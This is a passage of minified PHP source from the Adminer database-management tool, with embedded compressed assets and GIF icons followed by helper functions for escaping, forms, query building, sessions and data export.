1�Wܒ�&������kհYY@�A:~E3�jS�ɪRfu̔�#2Zk�ҹ��h&r̜��5e�y��M&��tz�50���)�SD^�L�z�6:j��׺�c���Jz�6:j;�i���f����4E�ٹ��:ޟL噡4Ff�ډ�SR��ͦ�#6�j�ɵQ��e��6�gD�h\n�@�+M�wZhDi�a��M��GZl4��NA:��pRk�i��E\r�A:�|q�\$�)�pN�zA:��4Bn����SX|=Z��76h��ӏ�f�K��u4vo|ݹuS{���%	��8��YGN�#�dp|�4�c���qƥAM�\\_x�Qg� ���ut���� ��� >Dd��`\"�F��0%�p��X�H}�Iƙf9-�2CX���P�\0KJy:?L�h�IV�5�z�(�Xx�1o#I2�|�:.8�,�cT�x��\n�M�d�n�Yc̜��rTf�D�Y���unȺ1	��A((�E�\$�t�DcXV�(!^¥�[\n�%%�Чb,�/�&)�)T%���t����|=Js�##�	G.\\�`x��'��	&2�EX�̘g��A�8QERS0���ĭ>�8�����s��u\$�@'8�\n�T91gΤ#i8������BgUE�#�Gr%��9Ց�c�N�?-8�(L;x�ѐ�\\Ɠ�q�p���P�D�C��r\$P��_��\$��(LP6PNg'Nќ�;Fts\$);��'XE	�̃�p�.H����-Dne	.�ا��!�t��9�/r�α]#�y�Ȏ\\�\\���(�f΁��;�pD��s�\"�2�����\\�(���'N��&��+\$��Ӧ�P��#:^x��\0s��xț��:�+���]'V��?:�I�ZYƑ�\\ò=���u�︷��a�N�c�9\n.3!��=\"�\0Y��\"�w�^�Xs�g�OA��=/j�Q3�\"�2����:5�5�)��a��f�{�2CV�!����5	�3T*0��Ț�~�\n5�7hq1;�h��\$�H�.�e0�	C�wj�NJ�=�+pʑͥC����(��t�6Ć�� Zo�yL�gŷO�|X��5�\$��g�n�7��d�*2�'�gB���o��i��#��V�)�>Y>�P'���#^�>���’Ӌ�70m`[P9ii��~�r0~}디��	\\�}VX���5@>@��ө�?5K�4)���g��kj�R~j��N�[���W���\$��r�S�Z]�K��v��{[P��'��O�i�x���O��mJf%�\0����S�������'�p� ,�K<՘RP����`\\Գ@]g�yR\\8h� `R�'�7���H��Bc(7�f��1��c\0wMo3�sG@��`7zg��FP\"(�@�m��Ɛ�H�:N3>eK:t%,�(���L�ME�AV�O�M:q��5E����%-��)@�jچSL��ME>dA�es�������Az��7D�\nه��.J�\r�5�l�K��\0n��t@\n2��:�?V�����\"���5lɭ�&�S���Q[�	}\0س�K�>tG0T������:��\n�j!Y�+!¶��� �(-m��j!\n�jʹ(E�Щ�!5@J��}6��҅��T+A&��b�Z��VE6iΞ�K�8B�caY(_�'Q��W�	%`�\$�}n\\3���-4N�ԡ���Œ�5�EP�ᎆ�sJ\"ܽP*	h҇+?��S���Ubwf�H�t'/\\x��\nr�\riF��T=�y�5�P�A�<J�<�P�b�d*�P���P�F��\re8'P��+�f�'���ӴD@0��DmN�\")��7� �,E7X6\$dU��\r�V&0��%f�@�4�U�P�g�)�a��i�Ӆ��Nd�7a<�(���tJ\",�襯���>d�E�:��(��RPQ S-�84����OU?ʹ�3�x`G�=�gK��Pb��	�'�xBk8.b4�F�V%U��XkJ��xQ�������\nǃ/T�F�����a�\0m_eF\"���!ꚇ\rYm1F2R�p I��hĵG���(�z�Z3��hϸ�m>��hss4dsфQf�q�\0N��Q2��X�5ݠ�DՎ��5��ш�T�p���k-B��\"��ʜ�_ѹ^n}�ަ�th��qqG8��S-s��QĢ�>|+:-�˓∖hU-�x4�IΓ���m�G������h���G���0�����U���>���B�����4.ZM�9[�������I`P:��C���b���s\nu�(V�����\n��s�%T�֣P�'B�|�3�D�R�Q\n�]?����6�aT_O̤x�C90���Q�5�I\n,�T�T��qC @*5J����M��IT��I����y����>�J��i&\n1����M\rc���夘j��y�c��y��:�N㞗B�M*t6ieϫ\nӱ����yz\nj�R\"t���J/�; �h�>�|��f�\0��Z��r��C�ez&k`��p� ��\0s.�\$�t�\$�S��#DM4xC�U��)W҄\0�J���*jV��\0*�\0\0�J���lb���\0�`Z��ףvT�M�=��I�'����D��_��ZW�෍糸P��+��\n�2N�GS\"���f\$�j��6�V�6��5pT�>���3Z�Xk�");}else{header("Content-Type: image/gif");switch($_GET["file"]){case"plus.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0!�����M��*)�o��) q��e���#��L�\0;";break;case"cross.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0#�����#\na�Fo~y�.�_wa��1�J�G�L�6]\0\0;";break;case"up.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����MQN\n�}�a8�y�aŶ�\0��\0;";break;case"down.gif":echo"GIF89a\0\0�\0001���\0\0����\0\0\0!�\0\0\0,\0\0\0\0\0\0 �����M��*)�[W�\\��L&ٜƶ�\0��\0;";break;case"arrow.gif":echo"GIF89a\0\n\0�\0\0������!�\0\0\0,\0\0\0\0\0\n\0\0�i������Ӳ޻\0\0;";break;}}exit;}function
connection(){global$h;return$h;}function
adminer(){global$b;return$b;}function
idf_unescape($t){$Qd=substr($t,-1);return
str_replace($Qd.$Qd,$Qd,substr($t,1,-1));}function
escape_string($X){return
substr(q($X),1,-1);}function
number($X){return
preg_replace('~[^0-9]+~','',$X);}function
remove_slashes($Hf,$Jc=false){if(get_magic_quotes_gpc()){while(list($x,$X)=each($Hf)){foreach($X
as$Gd=>$W){unset($Hf[$x][$Gd]);if(is_array($W)){$Hf[$x][stripslashes($Gd)]=$W;$Hf[]=&$Hf[$x][stripslashes($Gd)];}else$Hf[$x][stripslashes($Gd)]=($Jc?$W:stripslashes($W));}}}}function
bracket_escape($t,$Na=false){static$th=array(':'=>':1',']'=>':2','['=>':3');return
strtr($t,($Na?array_flip($th):$th));}function
charset($h){return(version_compare($h->server_info,"5.5.3")>=0?"utf8mb4":"utf8");}function
h($P){return
str_replace("\0","&#0;",htmlspecialchars($P,ENT_QUOTES,'utf-8'));}function
nbsp($P){return(trim($P)!=""?h($P):"&nbsp;");}function
nl_br($P){return
str_replace("\n","<br>",$P);}function
checkbox($C,$Y,$db,$Nd="",$Oe="",$ib=""){$J="<input type='checkbox' name='$C' value='".h($Y)."'".($db?" checked":"").($Oe?' onclick="'.h($Oe).'"':'').">";return($Nd!=""||$ib?"<label".($ib?" class='$ib'":"").">$J".h($Nd)."</label>":$J);}function
optionlist($Ue,$sg=null,$Oh=false){$J="";foreach($Ue
as$Gd=>$W){$Ve=array($Gd=>$W);if(is_array($W)){$J.='<optgroup label="'.h($Gd).'">';$Ve=$W;}foreach($Ve
as$x=>$X)$J.='<option'.($Oh||is_string($x)?' value="'.h($x).'"':'').(($Oh||is_string($x)?(string)$x:$X)===$sg?' selected':'').'>'.h($X);if(is_array($W))$J.='</optgroup>';}return$J;}function
html_select($C,$Ue,$Y="",$Ne=true){if($Ne)return"<select name='".h($C)."'".(is_string($Ne)?' onchange="'.h($Ne).'"':"").">".optionlist($Ue,$Y)."</select>";$J="";foreach($Ue
as$x=>$X)$J.="<label><input type='radio' name='".h($C)."' value='".h($x)."'".($x==$Y?" checked":"").">".h($X)."</label>";return$J;}function
select_input($Ja,$Ue,$Y="",$uf=""){return($Ue?"<select$Ja><option value=''>$uf".optionlist($Ue,$Y,true)."</select>":"<input$Ja size='10' value='".h($Y)."' placeholder='$uf'>");}function
confirm(){return" onclick=\"return confirm('".lang(0)."');\"";}function
print_fieldset($jd,$Vd,$Zh=false,$Oe=""){echo"<fieldset><legend><a href='#fieldset-$jd' onclick=\"".h($Oe)."return !toggle('fieldset-$jd');\">$Vd</a></legend><div id='fieldset-$jd'".($Zh?"":" class='hidden'").">\n";}function
bold($Va,$ib=""){return($Va?" class='active $ib'":($ib?" class='$ib'":""));}function
odd($J=' class="odd"'){static$s=0;if(!$J)$s=-1;return($s++%2?$J:'');}function
js_escape($P){return
addcslashes($P,"\r\n'\\/");}function
json_row($x,$X=null){static$Kc=true;if($Kc)echo"{";if($x!=""){echo($Kc?"":",")."\n\t\"".addcslashes($x,"\r\n\"\\/").'": '.($X!==null?'"'.addcslashes($X,"\r\n\"\\/").'"':'undefined');$Kc=false;}else{echo"\n}\n";$Kc=true;}}function
ini_bool($td){$X=ini_get($td);return(preg_match('~^(on|true|yes)$~i',$X)||(int)$X);}function
sid(){static$J;if($J===null)$J=(SID&&!($_COOKIE&&ini_bool("session.use_cookies")));return$J;}function
set_password($Vh,$N,$V,$G){$_SESSION["pwds"][$Vh][$N][$V]=($_COOKIE["adminer_key"]&&is_string($G)?array(encrypt_string($G,$_COOKIE["adminer_key"])):$G);}function
get_password(){$J=get_session("pwds");if(is_array($J))$J=($_COOKIE["adminer_key"]?decrypt_string($J[0],$_COOKIE["adminer_key"]):false);return$J;}function
q($P){global$h;return$h->quote($P);}function
get_vals($H,$e=0){global$h;$J=array();$I=$h->query($H);if(is_object($I)){while($K=$I->fetch_row())$J[]=$K[$e];}return$J;}function
get_key_vals($H,$i=null,$jh=0){global$h;if(!is_object($i))$i=$h;$J=array();$i->timeout=$jh;$I=$i->query($H);$i->timeout=0;if(is_object($I)){while($K=$I->fetch_row())$J[$K[0]]=$K[1];}return$J;}function
get_rows($H,$i=null,$n="<p class='error'>"){global$h;$ub=(is_object($i)?$i:$h);$J=array();$I=$ub->query($H);if(is_object($I)){while($K=$I->fetch_assoc())$J[]=$K;}elseif(!$I&&!is_object($i)&&$n&&defined("PAGE_HEADER"))echo$n.error()."\n";return$J;}function
unique_array($K,$v){foreach($v
as$u){if(preg_match("~PRIMARY|UNIQUE~",$u["type"])){$J=array();foreach($u["columns"]as$x){if(!isset($K[$x]))continue
2;$J[$x]=$K[$x];}return$J;}}}function
escape_key($x){if(preg_match('(^([\w(]+)('.str_replace("_",".*",preg_quote(idf_escape("_"))).')([ \w)]+)$)',$x,$B))return$B[1].idf_escape(idf_unescape($B[2])).$B[3];return
idf_escape($x);}function
where($Z,$p=array()){global$h,$w;$J=array();foreach((array)$Z["where"]as$x=>$X){$x=bracket_escape($x,1);$e=escape_key($x);$J[]=$e.(($w=="sql"&&preg_match('~^[0-9]*\\.[0-9]*$~',$X))||$w=="mssql"?" LIKE ".q(addcslashes($X,"%_\\")):" = ".unconvert_field($p[$x],q($X)));if($w=="sql"&&preg_match('~char|text~',$p[$x]["type"])&&preg_match("~[^ -@]~",$X))$J[]="$e = ".q($X)." COLLATE ".charset($h)."_bin";}foreach((array)$Z["null"]as$x)$J[]=escape_key($x)." IS NULL";return
implode(" AND ",$J);}function
where_check($X,$p=array()){parse_str($X,$bb);remove_slashes(array(&$bb));return
where($bb,$p);}function
where_link($s,$e,$Y,$Qe="="){return"&where%5B$s%5D%5Bcol%5D=".urlencode($e)."&where%5B$s%5D%5Bop%5D=".urlencode(($Y!==null?$Qe:"IS NULL"))."&where%5B$s%5D%5Bval%5D=".urlencode($Y);}function
convert_fields($f,$p,$M=array()){$J="";foreach($f
as$x=>$X){if($M&&!in_array(idf_escape($x),$M))continue;$Ga=convert_field($p[$x]);if($Ga)$J.=", $Ga AS ".idf_escape($x);}return$J;}function
cookie($C,$Y,$Xd=2592000){global$ba;$F=array($C,(preg_match("~\n~",$Y)?"":$Y),($Xd?time()+$Xd:0),preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$F[]=true;return
call_user_func_array('setcookie',$F);}function
restart_session(){if(!ini_bool("session.use_cookies"))session_start();}function
stop_session(){if(!ini_bool("session.use_cookies"))session_write_close();}function&get_session($x){return$_SESSION[$x][DRIVER][SERVER][$_GET["username"]];}function
set_session($x,$X){$_SESSION[$x][DRIVER][SERVER][$_GET["username"]]=$X;}function
auth_url($Vh,$N,$V,$m=null){global$Xb;preg_match('~([^?]*)\\??(.*)~',remove_from_uri(implode("|",array_keys($Xb))."|username|".($m!==null?"db|":"").session_name()),$B);return"$B[1]?".(sid()?SID."&":"").($Vh!="server"||$N!=""?urlencode($Vh)."=".urlencode($N)."&":"")."username=".urlencode($V).($m!=""?"&db=".urlencode($m):"").($B[2]?"&$B[2]":"");}function
is_ajax(){return($_SERVER["HTTP_X_REQUESTED_WITH"]=="XMLHttpRequest");}function
redirect($A,$le=null){if($le!==null){restart_session();$_SESSION["messages"][preg_replace('~^[^?]*~','',($A!==null?$A:$_SERVER["REQUEST_URI"]))][]=$le;}if($A!==null){if($A=="")$A=".";header("Location: $A");exit;}}function
query_redirect($H,$A,$le,$Rf=true,$wc=true,$Dc=false,$ih=""){global$h,$n,$b;if($wc){$Hg=microtime(true);$Dc=!$h->query($H);$ih=format_time($Hg);}$Fg="";if($H)$Fg=$b->messageQuery($H,$ih);if($Dc){$n=error().$Fg;return
false;}if($Rf)redirect($A,$le.$Fg);return
true;}function
queries($H){global$h;static$Lf=array();static$Hg;if(!$Hg)$Hg=microtime(true);if($H===null)return
array(implode("\n",$Lf),format_time($Hg));$Lf[]=(preg_match('~;$~',$H)?"DELIMITER ;;\n$H;\nDELIMITER ":$H).";";return$h->query($H);}function
apply_queries($H,$S,$sc='table'){foreach($S
as$Q){if(!queries("$H ".$sc($Q)))return
false;}return
true;}function
queries_redirect($A,$le,$Rf){list($Lf,$ih)=queries(null);return
query_redirect($Lf,$A,$le,$Rf,false,!$Rf,$ih);}function
format_time($Hg){return
lang(1,max(0,microtime(true)-$Hg));}function
remove_from_uri($if=""){return
substr(preg_replace("~(?<=[?&])($if".(SID?"":"|".session_name()).")=[^&]*&~",'',"$_SERVER[REQUEST_URI]&"),0,-1);}function
pagination($E,$Db){return" ".($E==$Db?$E+1:'<a href="'.h(remove_from_uri("page").($E?"&page=$E".($_GET["next"]?"&next=".urlencode($_GET["next"]):""):"")).'">'.($E+1)."</a>");}function
get_file($x,$Kb=false){$Hc=$_FILES[$x];if(!$Hc)return
null;foreach($Hc
as$x=>$X)$Hc[$x]=(array)$X;$J='';foreach($Hc["error"]as$x=>$n){if($n)return$n;$C=$Hc["name"][$x];$qh=$Hc["tmp_name"][$x];$wb=file_get_contents($Kb&&preg_match('~\\.gz$~',$C)?"compress.zlib://$qh":$qh);if($Kb){$Hg=substr($wb,0,3);if(function_exists("iconv")&&preg_match("~^\xFE\xFF|^\xFF\xFE~",$Hg,$Xf))$wb=iconv("utf-16","utf-8",$wb);elseif($Hg=="\xEF\xBB\xBF")$wb=substr($wb,3);$J.=$wb."\n\n";}else$J.=$wb;}return$J;}function
upload_error($n){$ie=($n==UPLOAD_ERR_INI_SIZE?ini_get("upload_max_filesize"):0);return($n?lang(2).($ie?" ".lang(3,$ie):""):lang(4));}function
repeat_pattern($sf,$y){return
str_repeat("$sf{0,65535}",$y/65535)."$sf{0,".($y%65535)."}";}function
is_utf8($X){return(preg_match('~~u',$X)&&!preg_match('~[\\0-\\x8\\xB\\xC\\xE-\\x1F]~',$X));}function
shorten_utf8($P,$y=80,$Og=""){if(!preg_match("(^(".repeat_pattern("[\t\r\n -\x{FFFF}]",$y).")($)?)u",$P,$B))preg_match("(^(".repeat_pattern("[\t\r\n -~]",$y).")($)?)",$P,$B);return
h($B[1]).$Og.(isset($B[2])?"":"<i>...</i>");}function
format_number($X){return
strtr(number_format($X,0,".",lang(5)),preg_split('~~u',lang(6),-1,PREG_SPLIT_NO_EMPTY));}function
friendly_url($X){return
preg_replace('~[^a-z0-9_]~i','-',$X);}function
hidden_fields($Hf,$md=array()){while(list($x,$X)=each($Hf)){if(!in_array($x,$md)){if(is_array($X)){foreach($X
as$Gd=>$W)$Hf[$x."[$Gd]"]=$W;}else
echo'<input type="hidden" name="'.h($x).'" value="'.h($X).'">';}}}function
hidden_fields_get(){echo(sid()?'<input type="hidden" name="'.session_name().'" value="'.h(session_id()).'">':''),(SERVER!==null?'<input type="hidden" name="'.DRIVER.'" value="'.h(SERVER).'">':""),'<input type="hidden" name="username" value="'.h($_GET["username"]).'">';}function
table_status1($Q,$Ec=false){$J=table_status($Q,$Ec);return($J?$J:array("Name"=>$Q));}function
column_foreign_keys($Q){global$b;$J=array();foreach($b->foreignKeys($Q)as$q){foreach($q["source"]as$X)$J[$X][]=$q;}return$J;}function
enum_input($U,$Ja,$o,$Y,$mc=null){global$b;preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$de);$J=($mc!==null?"<label><input type='$U'$Ja value='$mc'".((is_array($Y)?in_array($mc,$Y):$Y===0)?" checked":"")."><i>".lang(7)."</i></label>":"");foreach($de[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?$Y==$s+1:(is_array($Y)?in_array($s+1,$Y):$Y===$X));$J.=" <label><input type='$U'$Ja value='".($s+1)."'".($db?' checked':'').'>'.h($b->editVal($X,$o)).'</label>';}return$J;}function
input($o,$Y,$r){global$h,$Bh,$b,$w;$C=h(bracket_escape($o["field"]));echo"<td class='function'>";if(is_array($Y)&&!$r){$Ea=array($Y);if(version_compare(PHP_VERSION,5.4)>=0)$Ea[]=JSON_PRETTY_PRINT;$Y=call_user_func_array('json_encode',$Ea);$r="json";}$ag=($w=="mssql"&&$o["auto_increment"]);if($ag&&!$_POST["save"])$r=null;$Uc=(isset($_GET["select"])||$ag?array("orig"=>lang(8)):array())+$b->editFunctions($o);$Ja=" name='fields[$C]'";if($o["type"]=="enum")echo
nbsp($Uc[""])."<td>".$b->editInput($_GET["edit"],$o,$Ja,$Y);else{$Kc=0;foreach($Uc
as$x=>$X){if($x===""||!$X)break;$Kc++;}$Ne=($Kc?" onchange=\"var f = this.form['function[".h(js_escape(bracket_escape($o["field"])))."]']; if ($Kc > f.selectedIndex) f.selectedIndex = $Kc;\" onkeyup='keyupChange.call(this);'":"");$Ja.=$Ne;$cd=(in_array($r,$Uc)||isset($Uc[$r]));echo(count($Uc)>1?"<select name='function[$C]' onchange='functionChange(this);'".on_help("getTarget(event).value.replace(/^SQL\$/, '')",1).">".optionlist($Uc,$r===null||$cd?$r:"")."</select>":nbsp(reset($Uc))).'<td>';$vd=$b->editInput($_GET["edit"],$o,$Ja,$Y);if($vd!="")echo$vd;elseif($o["type"]=="set"){preg_match_all("~'((?:[^']|'')*)'~",$o["length"],$de);foreach($de[1]as$s=>$X){$X=stripcslashes(str_replace("''","'",$X));$db=(is_int($Y)?($Y>>$s)&1:in_array($X,explode(",",$Y),true));echo" <label><input type='checkbox' name='fields[$C][$s]' value='".(1<<$s)."'".($db?' checked':'')."$Ne>".h($b->editVal($X,$o)).'</label>';}}elseif(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads"))echo"<input type='file' name='fields-$C'$Ne>";elseif(($gh=preg_match('~text|lob~',$o["type"]))||preg_match("~\n~",$Y)){if($gh&&$w!="sqlite")$Ja.=" cols='50' rows='12'";else{$L=min(12,substr_count($Y,"\n")+1);$Ja.=" cols='30' rows='$L'".($L==1?" style='height: 1.2em;'":"");}echo"<textarea$Ja>".h($Y).'</textarea>';}elseif($r=="json")echo"<textarea$Ja cols='50' rows='12' class='jush-js'>".h($Y).'</textarea>';else{$ke=(!preg_match('~int~',$o["type"])&&preg_match('~^(\\d+)(,(\\d+))?$~',$o["length"],$B)?((preg_match("~binary~",$o["type"])?2:1)*$B[1]+($B[3]?1:0)+($B[2]&&!$o["unsigned"]?1:0)):($Bh[$o["type"]]?$Bh[$o["type"]]+($o["unsigned"]?0:1):0));if($w=='sql'&&$h->server_info>=5.6&&preg_match('~time~',$o["type"]))$ke+=7;echo"<input".((!$cd||$r==="")&&preg_match('~(?<!o)int~',$o["type"])?" type='number'":"")." value='".h($Y)."'".($ke?" maxlength='$ke'":"").(preg_match('~char|binary~',$o["type"])&&$ke>20?" size='40'":"")."$Ja>";}}}function
process_input($o){global$b;$t=bracket_escape($o["field"]);$r=$_POST["function"][$t];$Y=$_POST["fields"][$t];if($o["type"]=="enum"){if($Y==-1)return
false;if($Y=="")return"NULL";return+$Y;}if($o["auto_increment"]&&$Y=="")return
null;if($r=="orig")return($o["on_update"]=="CURRENT_TIMESTAMP"?idf_escape($o["field"]):false);if($r=="NULL")return"NULL";if($o["type"]=="set")return
array_sum((array)$Y);if($r=="json"){$r="";$Y=json_decode($Y,true);if(!is_array($Y))return
false;return$Y;}if(preg_match('~blob|bytea|raw|file~',$o["type"])&&ini_bool("file_uploads")){$Hc=get_file("fields-$t");if(!is_string($Hc))return
false;return
q($Hc);}return$b->processInput($o,$Y,$r);}function
fields_from_edit(){global$Wb;$J=array();foreach((array)$_POST["field_keys"]as$x=>$X){if($X!=""){$X=bracket_escape($X);$_POST["function"][$X]=$_POST["field_funs"][$x];$_POST["fields"][$X]=$_POST["field_vals"][$x];}}foreach((array)$_POST["fields"]as$x=>$X){$C=bracket_escape($x,1);$J[$C]=array("field"=>$C,"privileges"=>array("insert"=>1,"update"=>1),"null"=>1,"auto_increment"=>($x==$Wb->primary),);}return$J;}function
search_tables(){global$b,$h;$_GET["where"][0]["op"]="LIKE %%";$_GET["where"][0]["val"]=$_POST["query"];$Qc=false;foreach(table_status('',true)as$Q=>$R){$C=$b->tableName($R);if(isset($R["Engine"])&&$C!=""&&(!$_POST["tables"]||in_array($Q,$_POST["tables"]))){$I=$h->query("SELECT".limit("1 FROM ".table($Q)," WHERE ".implode(" AND ",$b->selectSearchProcess(fields($Q),array())),1));if(!$I||$I->fetch_row()){if(!$Qc){echo"<ul>\n";$Qc=true;}echo"<li>".($I?"<a href='".h(ME."select=".urlencode($Q)."&where[0][op]=".urlencode($_GET["where"][0]["op"])."&where[0][val]=".urlencode($_GET["where"][0]["val"]))."'>$C</a>\n":"$C: <span class='error'>".error()."</span>\n");}}}echo($Qc?"</ul>":"<p class='message'>".lang(9))."\n";}function
dump_headers($kd,$ue=false){global$b;$J=$b->dumpHeaders($kd,$ue);$gf=$_POST["output"];if($gf!="text")header("Content-Disposition: attachment; filename=".$b->dumpFilename($kd).".$J".($gf!="file"&&!preg_match('~[^0-9a-z]~',$gf)?".$gf":""));session_write_close();ob_flush();flush();return$J;}function
dump_csv($K){foreach($K
as$x=>$X){if(preg_match("~[\"\n,;\t]~",$X)||$X==="")$K[$x]='"'.str_replace('"','""',$X).'"';}echo
implode(($_POST["format"]=="csv"?",":($_POST["format"]=="tsv"?"\t":";")),$K)."\r\n";}function
apply_sql_function($r,$e){return($r?($r=="unixepoch"?"DATETIME($e, '$r')":($r=="count distinct"?"COUNT(DISTINCT ":strtoupper("$r("))."$e)"):$e);}function
get_temp_dir(){$J=ini_get("upload_tmp_dir");if(!$J){if(function_exists('sys_get_temp_dir'))$J=sys_get_temp_dir();else{$Ic=@tempnam("","");if(!$Ic)return
false;$J=dirname($Ic);unlink($Ic);}}return$J;}function
password_file($j){$Ic=get_temp_dir()."/adminer.key";$J=@file_get_contents($Ic);if($J||!$j)return$J;$Sc=@fopen($Ic,"w");if($Sc){chmod($Ic,0660);$J=rand_string();fwrite($Sc,$J);fclose($Sc);}return$J;}function
rand_string(){return
md5(uniqid(mt_rand(),true));}function
select_value($X,$_,$o,$hh){global$b,$ba;if(is_array($X)){$J="";foreach($X
as$Gd=>$W)$J.="<tr>".($X!=array_values($X)?"<th>".h($Gd):"")."<td>".select_value($W,$_,$o,$hh);return"<table cellspacing='0'>$J</table>";}if(!$_)$_=$b->selectLink($X,$o);if($_===null){if(is_mail($X))$_="mailto:$X";if($Jf=is_url($X))$_=(($Jf=="http"&&$ba)||preg_match('~WebKit~i',$_SERVER["HTTP_USER_AGENT"])?$X:"https://www.adminer.org/redirect/?url=".urlencode($X));}$J=$b->editVal($X,$o);if($J!==null){if($J==="")$J="&nbsp;";elseif(!is_utf8($J))$J="\0";elseif($hh!=""&&is_shortable($o))$J=shorten_utf8($J,max(0,+$hh));else$J=h($J);}return$b->selectVal($J,$_,$o,$X);}function
is_mail($jc){$Ha='[-a-z0-9!#$%&\'*+/=?^_`{|}~]';$Vb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';$sf="$Ha+(\\.$Ha+)*@($Vb?\\.)+$Vb";return
is_string($jc)&&preg_match("(^$sf(,\\s*$sf)*\$)i",$jc);}function
is_url($P){$Vb='[a-z0-9]([-a-z0-9]{0,61}[a-z0-9])';return(preg_match("~^(https?)://($Vb?\\.)+$Vb(:\\d+)?(/.*)?(\\?.*)?(#.*)?\$~i",$P,$B)?strtolower($B[1]):"");}function
is_shortable($o){return
preg_match('~char|text|lob|geometry|point|linestring|polygon|string~',$o["type"]);}function
count_rows($Q,$Z,$Ad,$Xc){global$w;$H=" FROM ".table($Q).($Z?" WHERE ".implode(" AND ",$Z):"");return($Ad&&($w=="sql"||count($Xc)==1)?"SELECT COUNT(DISTINCT ".implode(", ",$Xc).")$H":"SELECT COUNT(*)".($Ad?" FROM (SELECT 1$H$Yc) x":$H));}function
slow_query($H){global$b,$T;$m=$b->database();$jh=$b->queryTimeout();if(support("kill")&&is_object($i=connect())&&($m==""||$i->select_db($m))){$Ld=$i->result("SELECT CONNECTION_ID()");echo'<script type="text/javascript">
var timeout = setTimeout(function () {
	ajax(\'',js_escape(ME),'script=kill\', function () {
	}, \'token=',$T,'&kill=',$Ld,'\');
}, ',1000*$jh,');
</script>
';}else$i=null;ob_flush();flush();$J=@get_key_vals($H,$i,$jh);if($i){echo"<script type='text/javascript'>clearTimeout(timeout);</script>\n";ob_flush();flush();}return
array_keys($J);}function
get_token(){$Of=rand(1,1e6);return($Of^$_SESSION["token"]).":$Of";}function
verify_token(){list($T,$Of)=explode(":",$_POST["token"]);return($Of^$_SESSION["token"])==$T;}function
lzw_decompress($Ra){$Rb=256;$Sa=8;$kb=array();$cg=0;$dg=0;for($s=0;$s<strlen($Ra);$s++){$cg=($cg<<8)+ord($Ra[$s]);$dg+=8;if($dg>=$Sa){$dg-=$Sa;$kb[]=$cg>>$dg;$cg&=(1<<$dg)-1;$Rb++;if($Rb>>$Sa)$Sa++;}}$Qb=range("\0","\xFF");$J="";foreach($kb
as$s=>$jb){$ic=$Qb[$jb];if(!isset($ic))$ic=$di.$di[0];$J.=$ic;if($s)$Qb[]=$di.$ic[0];$di=$ic;}return$J;}function
on_help($pb,$_g=0){return" onmouseover='helpMouseover(this, event, ".h($pb).", $_g);' onmouseout='helpMouseout(this, event);'";}function
edit_form($a,$p,$K,$Jh){global$b,$w,$T,$n;$Tg=$b->tableName(table_status1($a,true));page_header(($Jh?lang(10):lang(11)),$n,array("select"=>array($a,$Tg)),$Tg);if($K===false)echo"<p class='error'>".lang(12)."\n";echo'<form action="" method="post" enctype="multipart/form-data" id="form">
';if(!$p)echo"<p class='error'>".lang(13)."\n";else{echo"<table cellspacing='0' onkeydown='return editingKeydown(event);'>\n";foreach($p
as$C=>$o){echo"<tr><th>".$b->fieldName($o);$Lb=$_GET["set"][bracket_escape($C)];if($Lb===null){$Lb=$o["default"];if($o["type"]=="bit"&&preg_match("~^b'([01]*)'\$~",$Lb,$Xf))$Lb=$Xf[1];}$Y=($K!==null?($K[$C]!=""&&$w=="sql"&&preg_match("~enum|set~",$o["type"])?(is_array($K[$C])?array_sum($K[$C]):+$K[$C]):$K[$C]):(!$Jh&&$o["auto_increment"]?"":(isset($_GET["select"])?false:$Lb)));if(!$_POST["save"]&&is_string($Y))$Y=$b->editVal($Y,$o);$r=($_POST["save"]?(string)$_POST["function"][$C]:($Jh&&$o["on_update"]=="CURRENT_TIMESTAMP"?"now":($Y===false?null:($Y!==null?'':'NULL'))));if(preg_match("~time~",$o["type"])&&$Y=="CURRENT_TIMESTAMP"){$Y="";$r="now";}input($o,$Y,$r);echo"\n";}if(!support("table"))echo"<tr>"."<th><input name='field_keys[]' onkeyup='keyupChange.call(this);' onchange='fieldChange(this);' value=''>"."<td class='function'>".html_select("field_funs[]",$b->editFunctions(array("null"=>isset($_GET["select"]))))."<td><input name='field_vals[]'>"."\n";echo"</table>\n";}echo"<p>\n";if($p){echo"<input type='submit' value='".lang(14)."'>\n";if(!isset($_GET["select"]))echo"<input type='submit' name='insert' value='".($Jh?lang(15)."' onclick='return !ajaxForm(this.form, \"".lang(16).'...", this)':lang(17))."' title='Ctrl+Shift+Enter'>\n";}echo($Jh?"<input type='submit' name='delete' value='".lang(18)."'".confirm().">\n":($_POST||!$p?"":"<script type='text/javascript'>focus(document.getElementById('form').getElementsByTagName('td')[1].firstChild);</script>\n"));if(isset($_GET["select"]))hidden_fields(array("check"=>(array)$_POST["check"],"clone"=>$_POST["clone"],"all"=>$_POST["all"]));echo'<input type="hidden" name="referer" value="',h(isset($_POST["referer"])?$_POST["referer"]:$_SERVER["HTTP_REFERER"]),'">
<input type="hidden" name="save" value="1">
<input type="hidden" name="token" value="',$T,'">
</form>
';}global$b,$h,$Xb,$fc,$pc,$n,$Uc,$Zc,$ba,$ud,$w,$ca,$Pd,$Me,$tf,$Lg,$dd,$T,$vh,$Bh,$Ih,$ia;if(!$_SERVER["REQUEST_URI"])$_SERVER["REQUEST_URI"]=$_SERVER["ORIG_PATH_INFO"];if(!strpos($_SERVER["REQUEST_URI"],'?')&&$_SERVER["QUERY_STRING"]!="")$_SERVER["REQUEST_URI"].="?$_SERVER[QUERY_STRING]";$ba=$_SERVER["HTTPS"]&&strcasecmp($_SERVER["HTTPS"],"off");@ini_set("session.use_trans_sid",false);session_cache_limiter("");if(!defined("SID")){session_name("adminer_sid");$F=array(0,preg_replace('~\\?.*~','',$_SERVER["REQUEST_URI"]),"",$ba);if(version_compare(PHP_VERSION,'5.2.0')>=0)$F[]=true;call_user_func_array('session_set_cookie_params',$F);session_start();}remove_slashes(array(&$_GET,&$_POST,&$_COOKIE),$Jc);if(get_magic_quotes_runtime())set_magic_quotes_runtime(false);@set_time_limit(0);@ini_set("zend.ze1_compatibility_mode",false);@ini_set("precision",20);$Pd=array('en'=>'English','ar'=>'العربية','bg